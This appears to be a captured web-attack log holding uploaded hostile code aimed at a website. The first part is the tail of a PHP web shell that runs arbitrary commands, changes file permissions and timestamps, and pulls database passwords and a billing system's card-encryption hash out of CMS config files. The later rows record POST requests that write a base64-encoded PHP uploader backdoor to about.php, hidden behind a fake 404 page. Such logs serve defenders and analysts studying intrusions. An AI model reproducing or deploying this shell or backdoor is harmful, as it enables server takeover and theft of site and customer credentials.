\"pwd\";\r\n\t$seperator = \";\";\r\n\tif($GLOBALS['sys']!='unix'){\r\n\t\t$pwd = \"cd\";\r\n\t\t$seperator = \"&\";\r\n\t}\r\n\tif($GLOBALS[\"glob_chdir_false\"]&&!empty($_POST[\"c\"])){$cmd = \"cd '\".addslashes($_POST[\"c\"]).\"'\".$seperator;}\r\n\t$current_path = '';\r\n\tif(preg_match(\"\/cd[ ]{0,}(.*)[ ]{0,}\".$seperator.\"|cd[ ]{0,}(.*)[ ]{0,}\/i\", $_POST['alfa1'], $match)){\r\n\t\tif(empty($match[1])){\r\n\t\t\t$match[1] = $match[2];\r\n\t\t}\r\n\t\t$current_path = alfaEx(\"cd \".addslashes($match[1]).$seperator.$pwd);\r\n\t\t$current_path = str_replace(\"\\\\\", \"\/\", $current_path);\r\n\t}\r\n\t$out = alfaEx($cmd.$_POST['alfa1'], true);\r\n\t$out = htmlspecialchars($out);\r\n\techo json_encode(array(\"output\" => convertBash($out), \"path\" => $current_path));\r\n}\r\nfunction convertBash($code) {\r\n $dictionary = array(\r\n '[01;30m' => '<span style=\"color:black\">',\r\n '[01;31m' => '<span style=\"color:red\">',\r\n '[01;32m' => '<span style=\"color:green\">',\r\n '[01;33m' => '<span style=\"color:yellow\">',\r\n '[01;34m' => '<span style=\"color:blue\">',\r\n '[01;35m' => '<span style=\"color:purple\">',\r\n '[01;36m' => '<span style=\"color:cyan\">',\r\n '[01;37m' => '<span style=\"color:white\">',\r\n '[0m' => '<\/span>'\r\n );\r\n $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);\r\n return $htmlString;\r\n}\r\nfunction alfadoActions(){\r\n\t$chdir_fals = false;\r\n\tif(!@chdir($_POST['c'])){\r\n\t\t$chdir_fals = true;\r\n\t\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t}\r\n\tif(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);\r\n\tif(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);\r\n\t$action = $_POST[\"alfa3\"];\r\n\tif($action == \"permission\"){\r\n\t\t$perms = 0;\r\n\t\t$perm = $_POST[\"alfa2\"];\r\n\t\tfor($i=strlen($perm)-1;$i>=0;--$i){\r\n\t\t\t$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));\r\n\t\t}\r\n\t\tif(@chmod($_POST['alfa1'], $perms)){\r\n\t\t\techo(\"done\");\r\n\t\t}else{\r\n\t\t\techo(\"no\");\r\n\t\t}\r\n\t\treturn;\r\n\t}\r\n\tif($action == \"rename\" || $action == \"move\"){\r\n\t\t$alfa1_decoded = $_POST['alfa1'];\r\n\t\tif($chdir_fals){\r\n\t\t\t$_POST['alfa1'] = $_POST[\"c\"].\"\/\".$_POST[\"alfa1\"];\r\n\t\t}\r\n\t\t$_POST['alfa1'] = trim($_POST['alfa1']);\r\n\t\t$alfa1_escape = addslashes($_POST[\"alfa1\"]);\r\n\t\tif($_POST[\"alfa3\"] == \"rename\"){\r\n\t\t\t$_POST['alfa2'] = basename($_POST['alfa2']);\r\n\t\t}\r\n\t\tif(!empty($_POST['alfa2'])){\r\n\t\t\t$cmd_rename = false;\r\n\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\tif(_alfa_is_writable($_POST['alfa1'])){\r\n\t\t\t\t\t$cmd_rename = true;\r\n\t\t\t\t\t$alfa1_escape = addslashes($alfa1_decoded);\r\n\t\t\t\t\talfaEx(\"cd '\".addslashes($_POST['c']).\"';mv '\".$alfa1_escape.\"' '\".addslashes($_POST['alfa2']).\"'\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!file_exists($_POST['alfa2'])){\r\n\t\t\t\tif(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){\r\n\t\t\t\t\techo \"done\";\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo \"no\";\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\techo \"no\";\r\n\t\t\t}\r\n\t\t}\r\n\t}elseif($action == \"copy\"){\r\n\t\tif(is_dir($_POST[\"alfa1\"])){\r\n\t\t\t$dir = str_replace('\/\/', '\/', $_POST[\"alfa1\"]);\r\n\t\t\t$dir = explode('\/', $dir);\r\n\t\t\tif(empty($dir[count($dir) - 1])){\r\n\t\t\t\t$name = $dir[count($dir) - 2];\r\n\t\t\t}else{\r\n\t\t\t\t$name = $dir[count($dir) - 1];\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\t$name = basename($_POST[\"alfa1\"]);\r\n\t\t}\r\n\t\t$dir = dirname($_POST[\"alfa1\"]);\r\n\t\tif($dir == \".\"){\r\n\t\t\t$dir = $_POST[\"c\"].\"\/\";\r\n\t\t}\r\n\t\tif(is_file($_POST[\"alfa1\"])){\r\n\t\t\t@copy($_POST[\"alfa1\"], $_POST[\"alfa2\"]);\r\n\t\t\techo(\"done\");\r\n\t\t}elseif(is_dir($_POST[\"alfa1\"])){\r\n\t\t\tif(!is_dir($_POST[\"alfa2\"])){\r\n\t\t\t\tmkdir($_POST[\"alfa2\"], 0755, true);\r\n\t\t\t}\r\n\t\t\tcopy_paste($dir, $name , $_POST[\"alfa2\"] . \"\/\");\r\n\t\t\techo(\"done\");\r\n\t\t}\r\n\t}elseif($action == \"modify\"){\r\n\t\tif( !empty($_POST['alfa1']) ) {\r\n\t\t\t$time = strtotime($_POST['alfa1']);\r\n\t\t\tif($time){\r\n\t\t\t\t$touched = false;\r\n\t\t\t\tif($chdir_fals&&$alfa_canruncmd){\r\n\t\t\t\t\talfaEx(\"cd '\".addslashes($_POST[\"c\"]).\"';touch -d '\".htmlspecialchars(addslashes($_POST['alfa1'])).\"' '\".addslashes($_POST['alfa2']).\"'\");\r\n\t\t\t\t\t$touched = true;\r\n\t\t\t\t}\r\n\t\t\t\tif(!@touch($_POST['alfa2'],$time,$time)&&!$touched){\r\n\t\t\t\t\techo 'no';\r\n\t\t\t\t}else{\r\n\t\t\t\t\techo 'ok';\r\n\t\t\t\t}\r\n\t\t\t} else{\r\n\t\t\t\t echo 'badtime';\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n}\r\nfunction alfaget_flags(){\r\n\t$flags = array();\r\n\tif(function_exists(\"curl_version\")){\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$server_addr = (!@$_SERVER[\"SERVER_ADDR\"]?(function_exists(\"gethostbyname\")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER[\"SERVER_ADDR\"]);\r\n\t\t$flag = $curl->Send(\"http:\/\/www.geoplugin.net\/json.gp?ip=\" . $server_addr);\r\n\t\t$flag2 = $curl->Send(\"http:\/\/www.geoplugin.net\/json.gp?ip=\" . $_SERVER[\"REMOTE_ADDR\"]);\r\n\t\tif(strpos($flag2, \"geoplugin\") != false){\r\n\t\t\t$flag = json_decode($flag, true);\r\n\t\t\t$flag2 = json_decode($flag2, true);\r\n\t\t\tif(!empty($flag['geoplugin_countryCode'])){\r\n\t\t\t\t$flags[\"server\"][\"name\"] = $flag['geoplugin_countryName'];\r\n\t\t\t\t$flags[\"server\"][\"code\"] = $flag['geoplugin_countryCode'];\r\n\t\t\t}\r\n\t\t\tif(!empty($flag2['geoplugin_countryCode'])){\r\n\t\t\t\t$flags[\"client\"][\"name\"] = $flag2['geoplugin_countryName'];\r\n\t\t\t\t$flags[\"client\"][\"code\"] = $flag2['geoplugin_countryCode'];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\techo json_encode($flags);\r\n}\r\nfunction alfaGetConfig(){\r\n$cms = $_POST['alfa1'];\r\n$path = trim($_POST['alfa2']);\r\n$config = array(\r\n'wp'=>array('file'=>'\/wp-config.php',\r\n'host'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_HOST(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbname'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_NAME(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbuser'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_USER(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbpw'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_PASSWORD(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'prefix'=>array(\"\/table_prefix[ ]{0,}=[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",1)\r\n),\r\n'drupal'=>array('file'=>'\/config.php',\r\n'host'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_HOSTNAME(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbname'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_DATABASE(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbuser'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_USERNAME(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'dbpw'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_PASSWORD(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1),\r\n'prefix'=>array(\"\/define[ ]{0,}\\([ ]{0,}(?:'|\\\")DB_PREFIX(?:'|\\\")[ ]{0,},[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,}\\)[ ]{0,};\/\",1)\r\n),\r\n'drupal2'=>array('file'=>'\/sites\/default\/settings.php',\r\n'host'=>array(\"\/(?:'|\\\")host(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,},\/\",1),\r\n'dbname'=>array(\"\/(?:'|\\\")database(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,},\/\",1),\r\n'dbuser'=>array(\"\/(?:'|\\\")username(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,},\/\",1),\r\n'dbpw'=>array(\"\/(?:'|\\\")password(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,},\/\",1),\r\n'prefix'=>array(\"\/(?:'|\\\")prefix(?:'|\\\")[ ]{0,}=>[ ]{0,}(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,},\/\",1)\r\n),\r\n'vb'=>array('file'=>'\/includes\/config.php',\r\n'host'=>array(\"\/config\\[(?:'|\\\")MasterServer(?:'|\\\")\\]\\[(?:'|\\\")servername(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",3),\r\n'dbuser'=>array(\"\/config\\[(?:'|\\\")MasterServer(?:'|\\\")\\]\\[(?:'|\\\")username(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",3),\r\n'dbname'=>array(\"\/config\\[(?:'|\\\")Database(?:'|\\\")\\]\\[(?:'|\\\")dbname(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",3),\r\n'dbpw'=>array(\"\/config\\[(?:'|\\\")MasterServer(?:'|\\\")\\]\\[(?:'|\\\")password(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",3),\r\n'prefix'=>array(\"\/config\\[(?:'|\\\")Database(?:'|\\\")\\]\\[(?:'|\\\")tableprefix(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")[ ]{0,};\/\",3)\r\n),\r\n'phpnuke'=>array('file'=>'\/config.php',\r\n'host'=>array('\/dbhost(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\r\n'dbname'=>array('\/dbname(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\r\n'dbuser'=>array('\/dbuname(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\r\n'dbpw'=>array('\/dbpass(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3),\r\n'prefix'=>array('\/prefix(\\s+)=(\\s+)(?:\\'|\")(.*?)(?:\\'|\");\/',3)\r\n),\r\n'smf'=>array('file'=>'\/Settings.php',\r\n'host'=>array(\"\/db_server(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbname'=>array(\"\/db_name(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbuser'=>array(\"\/db_user(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbpw'=>array(\"\/db_passwd(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'prefix'=>array(\"\/db_prefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\r\n),\r\n'whmcs'=>array('file'=>'\/configuration.php',\r\n'host'=>array(\"\/db_host(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbname'=>array(\"\/db_name(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbuser'=>array(\"\/db_username(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbpw'=>array(\"\/db_password(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'cc_encryption_hash'=>array(\"\/cc_encryption_hash(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\r\n),\r\n'joomla'=>array('file'=>'\/configuration.php',\r\n'host'=>array(\"\/\\\\\\$host(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbname'=>array(\"\/\\\\\\$db(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbuser'=>array(\"\/\\\\\\$user(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbpw'=>array(\"\/\\\\\\$password(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'prefix'=>array(\"\/\\\\\\$dbprefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\r\n),\r\n'phpbb'=>array('file'=>'\/config.php',\r\n'host'=>array(\"\/dbhost(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbname'=>array(\"\/dbname(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbuser'=>array(\"\/dbuser(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbpw'=>array(\"\/dbpasswd(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'prefix'=>array(\"\/table_prefix(\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\r\n),\r\n'mybb'=>array('file'=>'\/inc\/config.php',\r\n'host'=>array(\"\/config\\['database'\\]\\['hostname'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbname'=>array(\"\/config\\['database'\\]\\['database'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbuser'=>array(\"\/config\\['database'\\]\\['username'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'dbpw'=>array(\"\/config\\['database'\\]\\['password'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3),\r\n'prefix'=>array(\"\/config\\['database'\\]\\['table_prefix'\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\");\/\",3)\r\n)\r\n);\r\nif($cms == \"drupal\"){\r\n\t$file = $config[$cms]['file'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,\"-e\")){\r\n\t}else{\r\n\t\t$cms = 'drupal2';\r\n\t}\r\n}\r\nif($cms == \"vb\"){\r\n\t$file = $config[$cms]['file'];\r\n\t$file=$path.$file;\r\n\tif(@is_file($file)||_alfa_is_dir($file,\"-e\")){\r\n\t}else{\r\n\t\t$path .= '\/core';\r\n\t}\r\n}\r\n$data = array();\r\n$srch_host = $config[$cms]['host'][0];\r\n$srch_user = $config[$cms]['dbuser'][0];\r\n$srch_name = $config[$cms]['dbname'][0];\r\n$srch_pw = $config[$cms]['dbpw'][0];\r\n$prefix = $config[$cms]['prefix'][0];\r\n$file = $config[$cms]['file'];\r\n$chost = $config[$cms]['host'][1];\r\n$cuser = $config[$cms]['dbuser'][1];\r\n$cname = $config[$cms]['dbname'][1];\r\n$cpw = $config[$cms]['dbpw'][1];\r\n$cprefix = $config[$cms]['prefix'][1];\r\nif(@is_dir($path)||_alfa_is_dir($path)){\r\n$file=$path.$file;\r\n}elseif(@is_file($path)||_alfa_is_dir($path,\"-e\")){\r\n$file=$path;\r\n}else{\r\nreturn false;\r\n}\r\n$file = __read_file($file);\r\nif($cms == \"drupal2\"){\r\n\t$file = preg_replace(\"\/\\@code(.*?)\\@endcode\/s\", \"\", $file);\r\n}elseif($cms == \"vb\"){\r\n\t$file = preg_replace(\"\/right of the(.*?)BAD!\/s\", \"\", $file);\r\n}\r\nif(preg_match($srch_host, $file, $mach)){\r\n$data['host'] = $mach[$chost];\r\n}\r\nif(preg_match($srch_user, $file, $mach)){\r\n$data['user'] = $mach[$cuser];\r\n}\r\nif(preg_match($srch_name, $file, $mach)){\r\n$data['dbname'] = $mach[$cname];\r\n}\r\nif(preg_match($srch_pw, $file, $mach)){\r\n$data['password'] = $mach[$cpw];\r\n}\r\nif(isset($prefix)){\r\nif(preg_match($prefix, $file, $mach)){\r\n$data['prefix'] = $mach[$cprefix];\r\n}\r\n}\r\nif($cms=='whmcs'){\r\nif(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){\r\n$data['cc_encryption_hash'] = $mach[3];\r\n}\r\n}\r\necho json_encode($data);\r\n}\r\nif(empty($_POST['a']))\r\nif(isset($default_action) && function_exists('alfa' . $default_action))\r\n$_POST['a'] = $default_action;\r\nelse\r\n$_POST['a'] = 'FilesMan2';\/\/'FilesMan';\r\nif(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))\r\ncall_user_func('alfa' . $_POST['a']);\r\nexit;\r\n\/*\r\n#Persian Gulf For Ever\r\n#skype : sole.sad\r\n#skype : ehsan.invisible\r\n*\/\r\n?>\r\n\r\n------WebKitFormBoundary6Jb0SxPAeX4fL8AN--\r\n"]
["2026-04-28 22:36:20","138.68.165.196","POST","\/geju.php","Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 Chrome\/113.0.0.0 Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/geju.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 Chrome\/113.0.0.0 Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
["2026-04-28 22:36:21","138.68.165.196","POST","\/wp-content\/plugins\/about.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","base64_decode\\( >> css:echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));","POST \/wp-content\/plugins\/about.php HTTP\/1.1\naccept-encoding:gzip, deflate\nupgrade-insecure-requests:1\ncache-control:max-age=0\nreferer:www.google.com\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1143\naccept-language:en-US,en;q=0.9,fr;q=0.8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 Chrome\/60.0.3112.107 Mobile Safari\/537.36\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8\n\ncss=echo 'rcking';fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'\/about.php','w+'),base64_decode('PD9waHAgCmVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9QQVJTRSk7CmlmICgkX0dFVFsia2V5Il0gPT0gInJja2luZyIpewplY2hvICI8Yj5YNy1ST09UPC9iPjxicj4iOwplY2hvICc8Yj5TeXN0ZW0gSW5mbzo8L2I+ICcucGhwX3VuYW1lKCk7CmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7CmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7CmVjaG8gJzxiPlN1Y2Nlc3NmdWxseSE8L2I+PGJyPjxicj4nOyAKfWVsc2V7IGVjaG8gJ0ZhaWxlZCE8L2I+PGJyPjxicj4nOyB9fQp9ZWxzZXsKJGRvbWFpbiA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwplY2hvJzxodG1sPjxoZWFkPgo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+CjwvaGVhZD48Ym9keT4KPGgxPk5vdCBGb3VuZDwvaDE+CjxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPgo8L2JvZHk+PC9odG1sPic7fQo\/Pg=='));"]
